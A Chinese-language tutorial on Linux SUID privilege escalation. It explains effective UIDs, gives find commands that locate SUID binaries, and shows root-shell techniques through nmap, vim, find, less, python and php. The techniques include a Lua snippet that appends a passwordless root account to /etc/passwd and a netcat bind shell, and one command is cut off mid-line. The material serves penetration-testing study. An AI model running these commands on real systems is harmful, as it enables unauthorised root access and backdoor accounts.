SUID提权

1.SUID原理理解

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。

这个属性使得其他用户执行这个程序的时候可以以该程序所有者/组的权限与身份来运行。

当为可执行文件设置SUID并产生进程后,该进程的属主为原程序文件的属主以其属主的身份进行操作。

普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。

比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0等同于拥有了root权限。

1
2
3
4
这里引入了一个新的概念 Effective UID。Linux进程在运行时有三个UID
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd

有suid的程序启动时,eUID就等于二进制文件的所有者,此时Real UID就可能和eUID不相等了。

(这里划重点,后面会利用)

1.1 利用SUID提权的条件

  1. 程序存在suid权限
  2. 程序的属主是0号或者其他super user
  3. 程序运行的进程存在命令注入漏洞or本身可执行命令

关于linux不同发行版本存在的限制及linux安全配置问题可参考文章:Linux与suid提权


2.SUID提权

已知的可用来提权的linux可执行文件列表如下:

1
2
3
4
5
6
7
8
Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令用于发现系统上运行的SUID可执行文件。命令将尝试查找具有root权限的SUID的文件

1
2
3
4
5
6
7
8
9
10
11
12
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

解释一下find 命令的参数:
1.-perm (permission),匹配权限。
4000 2000 1000分别表示SUID SGID SBIT
2.-print 输出流设置,2为标准错误 /dev/null为黑洞设备(收到的信息全部丢弃)
2>dev/null 将标准错误丢弃
3.-exec command {} \; 对find匹配到的文件执行command命令
{}表示由find找到的内容,都会被放到{}中
即执行ls -ldb命令

如下ping等命令查看权限,带有s标志位。


2.1 Nmap

2.1.1 interactive交互

较旧版本的Nmap(2.02至5.21)具有交互模式interactive,允许用户执行shell命令。

由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

1
2
3
4
5
6
7
nmap -v
nmap --interactive

以下命令将提供一个提升的shell:
nmap> !sh
sh-3.2# whoami
root
image-20210112111917281

也可以通过msf的模块对nmap进行权限提升exploit/unix/local/setuid_nmap

使用命令chmod u+s nmap给nmap赋予suid

image-20210112112258357

2.1.2 –script参数

因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权。但是因为此时nmap已经是root权限,我们可以通过修改/etc/passwd的方式来添加一个新的super user:

来看一眼/etc/passwd,只有root权限可以写入的。

nmap –script 加载lua脚本:

1
2
3
local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bash\n") //代表空密码
file:close()


2.2 VIM

如果vim是以suid运行的话,其权限会继承自root用户,因此可以读取系统上的所有文件。

如下将vim设置为suid,cat权限不够,而用vim就可以查看。

1
2
3
4
5
6
vim
# Press ESC key
## !command 表示在vim中执行shell命令
:!command
## 例子返回一个bash的shell
:! /bin/bash -p


2.3 Find

如果Find命令也是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

1
2
touch test_find
find test_find -exec whoami \;

当然,大部分Linux操作系统都安装了netcat,因此可以直接反弹shell来提升root权限。

反弹shell

1
2
find test_find -exec netcat -lvp 5555 -e /bin/bash \;
find test_find -exec


2.4 Less More

Less和More都执行以用来提权。

1
2
less /etc/passwd
!/bin/sh


2.5 python

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
image-20210112154704826

2.6 php

1
2
CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"
image-20210112154934283

2.7 SUID利用汇总

如下链接 汇总了44种 suid 提权的文件/应用的提权方式:CentOS7_suid提权